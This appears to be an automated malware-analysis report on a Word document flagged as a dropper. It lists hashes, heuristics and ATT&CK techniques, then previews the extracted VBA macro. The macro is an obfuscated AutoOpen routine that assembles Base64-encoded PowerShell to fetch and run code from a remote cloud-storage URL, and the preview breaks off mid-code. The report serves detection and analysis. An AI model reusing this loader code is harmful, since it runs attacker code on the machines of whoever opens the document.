Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc644aa64d1c02bc…

MALICIOUS

Office (OLE)

267.5 KB Created: 2018-03-05 20:45:00 Authoring application: Microsoft Office Word First seen: 2021-07-07
MD5: 893a423803fc29fb0df9d61d35fcd263 SHA-1: 64bdeb3d44011ec7d0d9741b97ea74c6ca64305d SHA-256: fc644aa64d1c02bce20cac33d515f2e3d81392c77ecdb66b15c0bc5b779d5d0a
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, a critical indicator of execution, to run a Base64 encoded command. The decoded command appears to be related to executing a payload or retrieving information from the system, suggesting the document's primary purpose is to act as a dropper for further malicious activity.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6463944-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6463944-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5892 bytes
SHA-256: a535bdce8104d17855fbb213b5c243f9a537cb3a336203221eb33dcfdcf9a17a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fun"
Sub AutoOpen()
    Dim IR_PJ As String
    GT_NF = Array("n", "i", "u", " ", "a", "t", "e", "d", "-", "l", "r", "c", "p", "x", "b", "o", "w", "h", "s", "y")
    Dim BT_LJ As String
    BT_LJ = "ZgB1AG4AYwB0AGkAbwBuACAAYQAoACQA"
    IR_PJ = IR_PJ + GT_NF(12)
    IR_PJ = IR_PJ + GT_NF(15)
    Dim BM_TG As String
    BM_TG = "eAApAHsAcgBlAHQAdQByA"
    IR_PJ = IR_PJ + GT_NF(16)
    IR_PJ = IR_PJ + GT_NF(6)
    Dim BN_RD As String
    BN_RD = "G4AIABbAFMAeQBzAHQAZQBtAC4AVABlAH"
    IR_PJ = IR_PJ + GT_NF(10)
    IR_PJ = IR_PJ + GT_NF(18)
    Dim AS_MA As String
    AS_MA = "gAdAAuAEUAb"
    IR_PJ = IR_PJ + GT_NF(17)
    IR_PJ = IR_PJ + GT_NF(6)
    Dim GM_NJ As String
    GM_NJ = "gBjAG8AZABpAG"
    CN_RD = CN_RD & BT_LJ & BM_TG & BN_RD & AS_MA & GM_NJ
    IR_PJ = IR_PJ + GT_NF(9)
    IR_PJ = IR_PJ + GT_NF(9)
    Dim BL_RG As String
    BL_RG = "4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0A"
    IR_PJ = IR_PJ + GT_NF(3)
    IR_PJ = IR_PJ + GT_NF(8)
    Dim CQ_MI As String
    CQ_MI = "HIAaQBuAGcAKA"
    IR_PJ = IR_PJ + GT_NF(16)
    IR_PJ = IR_PJ + GT_NF(1)
    Dim AP_SD As String
    AP_SD = "BbAFMAeQBzAHQAZQBtAC4AQwBvAG4"
    IR_PJ = IR_PJ + GT_NF(0)
    IR_PJ = IR_PJ + GT_NF(7)
    Dim AP_MA As String
    AP_MA = "AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQB"
    IR_PJ = IR_PJ + GT_NF(15)
    IR_PJ = IR_PJ + GT_NF(16)
    Dim DR_OG As String
    DR_OG = "zAGUANgA0AFMAdAByAGkAbgBnACgAJAB4ACkAKQB9AD"
    CN_RD = CN_RD & BL_RG & CQ_MI & AP_SD & AP_MA & DR_OG
    IR_PJ = IR_PJ + GT_NF(18)
    IR_PJ = IR_PJ + GT_NF(5)
    Dim AS_SE As String
    AS_SE = "sAaQBlAHgAIAAkACgAYQAgACQAKAAkACgAJAAoAGk"
    IR_PJ = IR_PJ + GT_NF(19)
    IR_PJ = IR_PJ + GT_NF(9)
    Dim HS_SD As String
    HS_SD = "AbgB2AG8AawBlAC0AdwBlAGIAcg"
    IR_PJ = IR_PJ + GT_NF(6)
    IR_PJ = IR_PJ + GT_NF(3)
    Dim DS_RF As String
    DS_RF = "BlAHEAdQBlAHMAdAAgACcAaAB0AHQAcABzADoALwA"
    IR_PJ = IR_PJ + GT_NF(17)
    IR_PJ = IR_PJ + GT_NF(1)
    Dim BM_NH As String
    BM_NH = "vAHUAcwBwAHIAZAA1ADEANQAwAGMAZQBuAHQAcgBhAGwALgB0"
    IR_PJ = IR_PJ + GT_NF(7)
    IR_PJ = IR_PJ + GT_NF(7)
    Dim GM_LA As String
    GM_LA = "AGEAYgBsAGUALgBjAG8AcgBlAC4"
    CN_RD = CN_RD & AS_SE & HS_SD & DS_RF & BM_NH & GM_LA
    IR_PJ = IR_PJ + GT_NF(6)
    IR_PJ = IR_PJ + GT_NF(0)
    Dim BT_OD As String
    BT_OD = "AdwBpAG4AZ"
    IR_PJ = IR_PJ + GT_NF(3)
    IR_PJ = IR_PJ + GT_NF(8)
    Dim DS_LJ As String
    DS_LJ = "ABvAHcAcwAu"
    IR_PJ = IR_PJ + GT_NF(6)
    IR_PJ = IR_PJ + GT_NF(13)
    Dim GP_SJ As String
    GP_SJ = "AG4AZQB0AC8AdwBhAHIAZQBoAG8AdQBzAGU"
    IR_PJ = IR_PJ + GT_NF(6)
    IR_PJ = IR_PJ + GT_NF(11)
    Dim AL_LJ As String
    AL_LJ = "APwAkAGYAaQBsAHQAZQByAD0AUABhAHIAdABpAHQAaQBvA"
    IR_PJ = IR_PJ + GT_NF(2)
    IR_PJ = IR_PJ + GT_NF(5)
    Dim DR_RI As String
    DR_RI = "G4ASwBlAHkAJQAyADAAZQBxACUAMgAwACUAMgA3AHMA"
    CN_RD = CN_RD & BT_OD & DS_LJ & GP_SJ & AL_LJ & DR_RI
    IR_PJ = IR_PJ + GT_NF(1)
    IR_PJ = IR_PJ + GT_NF(15)
    Dim AP_KG As String
    AP_KG = "dABhAGcAZQAlADIANwA"
    IR_PJ = IR_PJ + GT_NF(0)
    IR_PJ = IR_PJ + GT_NF(12)
    Dim AT_PJ As String
    AT_PJ = "mACQAUwBlAGwAZQBjAHQAPQBkAGEAdABhACYAcwB2"
    IR_PJ = IR_PJ + GT_NF(15)
    IR_PJ = IR_PJ + GT_NF(9)
    Dim DK_TB As String
    DK_TB = "AD0AMgAwADEANwAtADAANAAtADEANwAmAHMAcwA9AGIA"
    IR_PJ = IR_PJ + GT_NF(1)
    IR_PJ = IR_PJ + GT_NF(11)
    Dim CL_QI As String
    CL_QI = "ZgBxAHQAJgBzAHIAdAA9AHMAYwBvACYAcwBwAD0AcgB3"
    IR_PJ = IR_PJ + GT_NF(19)
    IR_PJ = IR_PJ + GT_NF(3)
    Dim JN_SB As String
    JN_SB = "AGQAbABhAGMAdQ"
    CN_RD = CN_RD & AP_KG & AT_PJ & DK_TB & CL_QI & JN_SB
    IR_PJ = IR_PJ + GT_NF(14)
    IR_PJ = IR_PJ + GT_NF(19)
    Dim CN_LI As Str
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.